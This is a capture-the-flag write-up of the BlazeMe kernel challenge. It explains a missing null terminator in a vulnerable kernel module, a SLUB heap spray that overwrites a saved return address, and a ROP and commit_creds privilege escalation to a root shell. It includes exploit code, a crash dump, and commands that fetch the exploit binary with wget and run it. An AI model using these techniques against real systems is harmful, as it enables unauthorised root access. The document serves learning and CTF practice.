Kernel Exploitation Basics - BlazeMe (Blaze CTF 2018)

Exploitation Writeups

To familiarise myself better with stack exploitation in the kernel and to note down some of the basics of what I have learnt so far, let us solve through a CTF challenge - BlazeMe from Blaze CTF 2018.

The challenge description says:

Kernel exploitation challenge!

ssh [email protected] password: guest

The flag in this archive is not the real flag. It’s there to make you feel good when your exploit works locally.

Author: crixer

Challenge Files: github

Lets go though what we have:

images
├── blazeme.c
├── bzImage
├── rootfs.ext2
└── run.sh

So, we have been given a kernel image, a root filesystem to go with it, some C code and a bash script - run.sh :

#!/bin/sh
/usr/bin/qemu-system-x86_64 \ 
-kernel bzImage \
-smp 1 -hda rootfs.ext2 \
-boot c \
-m 64M \
-append "root=/dev/sda nokaslr rw ip=10.0.2.15:10.0.2.2:10.0.2.2 console=tty1
console=ttyAMA0" \
-net nic,model=ne2k_pci -net user -nographic

As seen above, the script simply spins up a VM using QEMU. This is how the VM we are given access to on their server was started. Besides helping us start the server in the same manner, the arguments here also reveal valuable information.

Note that the kernel is started with the argument nokaslr , this means kernel address space randomisation is disabled, making exploitation easier for us later.

Let’s run this script. We are greeted with a login, we know the username and password from the description.

On logging in and running dmesg, we can see this line:

blazeme: loading out-of-tree module taints kernel.

this means the kernel module blazeme was loaded into the kernel. running lsmod backs up this information.

$ lsmod
Module                  Size  Used by    Tainted: G
blazeme                16384  0

We can also retrieve information about the kernel and other protections using uname and cat /proc/cpuinfo | grep flags

$ uname -a
Linux buildroot 4.15.0 #1 SMP Wed Apr 18 01:12:17 PDT 2018 x86_64 GNU/Linux

$ cat /proc/cpuinfo | grep flags
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm nopl cpuid pni cx16 hypervisor lahf_lm svm 3dnowprefetch retpoline rsb_ctxsw vmmcall

The init script probably loads the blazeme module into the kernel. Looking at /etc/init.d/rcS we see that the it executes /root/setup.sh. This file is inaccessible for us from within the VM as we are not root. So let’s mount the filesystem on our host machine to see what this setup script is doing. A proper guide on how to do this on Linux hosts can be found here. A simple mount should work on most linux systems for this challenge. You may also use tools such as extfstools.

Or in cases where you only need to extract vmlinux, you may use the extract-vmlinux script.

Looking at setup.sh :

#!/bin/sh

insmod /root/blazeme.ko
chmod 666 /dev/blazeme

It seems like it does not do much other than simply load the kernel module. While we are here, lets change our UID to 0 (root) in the /etc/passwd file. Allowing us to disable several protections such as /proc/kallsyms making it easier for us to debug. You can find a more comprehensive and general guide for setting up to do kernel pwn challenges here.

Okay so now we have addresses to debug and internet to copy our binaries, awesome!

# cat /proc/kallsyms | grep blazeme
ffffffffc0000190 t blazeme_open	[blazeme]
ffffffffc00002f0 t cleanup_module	[blazeme]
ffffffffc00001a0 t init_module	[blazeme]
ffffffffc0000010 t blazeme_read	[blazeme]
ffffffffc0000000 t blazeme_close	[blazeme]
ffffffffc00001a0 t blazeme_init	[blazeme]
ffffffffc0000050 t blazeme_write	[blazeme]
ffffffffc00002f0 t blazeme_exit	[blazeme]
# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: seq=0 ttl=255 time=106.849 ms
64 bytes from 8.8.8.8: seq=1 ttl=255 time=93.728 ms
^C
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 93.728/100.288/106.849 ms

The source code blazme.c is for the loaded module. Going through it, you will realise that it is a simple character device module that creates /dev/blazeme . It has also implemented the read and write file operations. On inspecting the implementations, they seem to be simple enough and no obvious vulnerabilities are seen.

The vulnerability here is a tricky one, to understand the vulnerability you must understand the SLUB allocator that Linux uses here to allocate memory. Basically in SLUB, objects of given size are neatly packed together, so if we do not null terminate our data, strlen will also count the bytes in the consecutive chunk.

Again in the character device they do not append a null byte to the data that it accepts from the user. One more thing to note is that once a chunk is freed meta data is added to it and it is made into a simple linked list. But as you can see in our module, if the user data is 64 bytes then that chunk is never freed!

ssize_t blazeme_write(struct file *file, 
    const char __user *buf, 
    size_t count, 
    loff_t *ppos) {

  char str[512] = "Hello ";
  ssize_t ret = ERR_BLAZEME_OK;

  if (buf == NULL) {
    printk(KERN_INFO "blazeme_write get a null ptr: buffer\n");
    ret = ERR_BLAZEME_OK;
    goto out;
  }

  if (count > KBUF_LEN) {
    printk(KERN_INFO "blazeme_wrtie invaild paramter count (%zu)\n", count);
    ret = ERR_BLAZEME_OK;
    goto out;
  } 

  kbuf = NULL;
  kbuf = kmalloc(KBUF_LEN, GFP_KERNEL);
  if (kbuf == NULL) {
    printk(KERN_INFO "blazeme_write malloc fail\n");
    ret = ERR_BLAZEME_MALLOC_FAIL;
    goto out;
  }

  if (copy_from_user(kbuf, buf, count)) {
    kfree(kbuf);
    kbuf = NULL;
    goto out;
  }

  if (kbuf != NULL) {
    strncat(str, kbuf, strlen(kbuf));
    printk(KERN_INFO "%s", str);
  }

  return (ssize_t)count;

out:
  return ret;
}

What we can do here is basically spray the kernel memory with 64 byte chunks containing no null characters and hopefully enough of them will end up being consecutive to each other, making strlen return higher and higher values finally allowing us to overflow the 512 byte buffer and overwrite the saved RIP.

Lets write a PoC to test this out.

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

int main () {
  unsigned long pointers[8];

  for(int i = 0; i < 8; i++) {
    pointers[i] = 0x1122334455667788;
  }

  char payload[64];
  strncpy(payload, (const char *)pointers, 64);

  printf("Sparying pointers\n");

  int fd = open("/dev/blazeme", O_RDWR);
  while (1) {
    write(fd, payload, 64);;
  }

  return 0;
}

Run this and the VM seems to hang but boot it back up and check the dmesg and you will find that we have control of the RIP. You might have to run this several times for it to work.

general protection fault: 0000 [#4] SMP NOPTI
Modules linked in: blazeme(O)
CPU: 0 PID: 105 Comm: poc Tainted: G      D    O     4.15.0 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.12.0-0-ga698c8995f-prebuilt.qemu.org 04/01/2014
RIP: 0010:0x7788112233445566
RSP: 0018:ffffc9000013fe60 EFLAGS: 00000282
RAX: 0000000000000040 RBX: 7788112233445566 RCX: ffffffff81c2dd98
RDX: 0000000000000001 RSI: 0000000000000096 RDI: 0000000000000246
RBP: 7788112233445566 R08: 0000000000000000 R09: 000000000000022f
R10: 1122334455667788 R11: 0000000000000001 R12: 7788112233445566
R13: 00007ffc90b61350 R14: 0000000000000000 R15: ffffc9000013ff20
FS:  00000000004c2880(0000) GS:ffff880003c00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00000000004c4b28 CR3: 0000000002950000 CR4: 00000000000006f0
Call Trace:
 ? __schedule+0x1dc/0x480
 ? vfs_write+0xad/0x170
 ? SyS_write+0x41/0xb0
 ? entry_SYSCALL_64_fastpath+0x20/0x83
Code:  Bad RIP value.
RIP: 0x7788112233445566 RSP: ffffc9000013fe60
---[ end trace 3710efd8d93be4a2 ]---

But it seems like we need to offset the address a bit so we have proper control, not a really a problem. Now lets figure out a way to escalate privileges.

One problem here we need to take care of is that we cannot have any nulls in our payload, so this means we cannot directly jump to our userspace program and do things from there. We can easily solve this problem by using a ROP gadget that allows us to do something similar.

This looks like this can be helpful, this address should be mappable for our userspace program we can put our own code there and execute our payload. Check out rustyrop if you need a ROP Gadget scanner ;)

0xffffffff814b4522:  add eax, ebp; push 0x5dffc515; ret

Lets now lets allocate this address and place code that jumps to our payload there:

  unsigned int codeBytes = 4096;
  void * virtualCodeAddress = 0;

  virtualCodeAddress = mmap(
                            (void *)0x5dffc515,
                            codeBytes,
                            PROT_READ | PROT_WRITE | PROT_EXEC,
                            MAP_ANONYMOUS | MAP_PRIVATE,
                            0,
                            0);

  unsigned char * tempCode = (unsigned char *) 0x5dffc515;

  unsigned long low = (unsigned long)&payload & 0xffffffff;
  unsigned long high = ((unsigned long)&payload >> 32) & 0xffffffff;

  // mov address to [rsp] and return
  tempCode[0] = 0xc7;
  tempCode[1] = 0x04;
  tempCode[2] = 0x24;

  tempCode[3] = (low) & 0xff;
  tempCode[4] = (low >> 8) & 0xff;
  tempCode[5] = (low >> 16) & 0xff;
  tempCode[6] = (low >> 24) & 0xff;
  tempCode[7] = 0xc7;
  tempCode[8] = 0x44;
  tempCode[9] = 0x24;
  tempCode[10] = 0x04;

  tempCode[11] = (high) & 0xff;
  tempCode[12] = (high >> 8) & 0xff;
  tempCode[13] = (high >> 16) & 0xff;
  tempCode[14] = (high >> 24) & 0xff;

  tempCode[15] = 0xc3;

Looks great now all we need to do is escalate privileges and return to userspace, luckily I have done this before and documented the process in How2Kernel. What we have to do is commit_creds(prepare_kernel_cred(0)); and restore the trap frame. Here’s the relevant code:

struct trap_frame{
        void *rip;
        uint64_t cs;
        uint64_t rflags;
        void *rsp;
        uint64_t ss;
};
struct trap_frame tf;

void launch_shell() {
        getuid();
        system("/bin/sh");
}

void prepare_tf(){
        asm(    "movq %%cs, %0\n"
                "movq %%ss, %1\n"
                "movq %%rsp, %3\n"
                "pushfq\n"
                "popq %2\n"
                : "=r"(tf.cs), "=r"(tf.ss), "=r"(tf.rflags), "=r"(tf.rsp) :: "memory"
        );
        tf.rip = &launch_shell;
        tf.rsp -= 1024;
}

#define KERNCALL __attribute__((regparm(3)))
void (*commit_creds)(void *) KERNCALL = (void *)0xffffffff81063960;
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *)0xffffffff81063b50;

void payload(void){
        commit_creds(prepare_kernel_cred(0));
        asm(    "swapgs\n"
                "mov $tf,%rsp\n"
                "iretq\n"
        );
}

Note that prepare_tf() is called before we spray the pointers, you can find the complete exploit here.

And there you go!

# id
uid=1001(yo) gid=1001(yo) groups=1001(yo)

# wget 192.168.43.235:8000/a.out
Connecting to 192.168.43.235:8000 (192.168.43.235:8000)
a.out                 22% |******                         |   189k  0:00:03 ETA

# chmod +x a.out
# ./a.out
Sparying pointers

# id
uid=0(root) gid=0(root)

Thats all folks! I know its an old challenge but it covers the basics quite nicely, thanks for reading!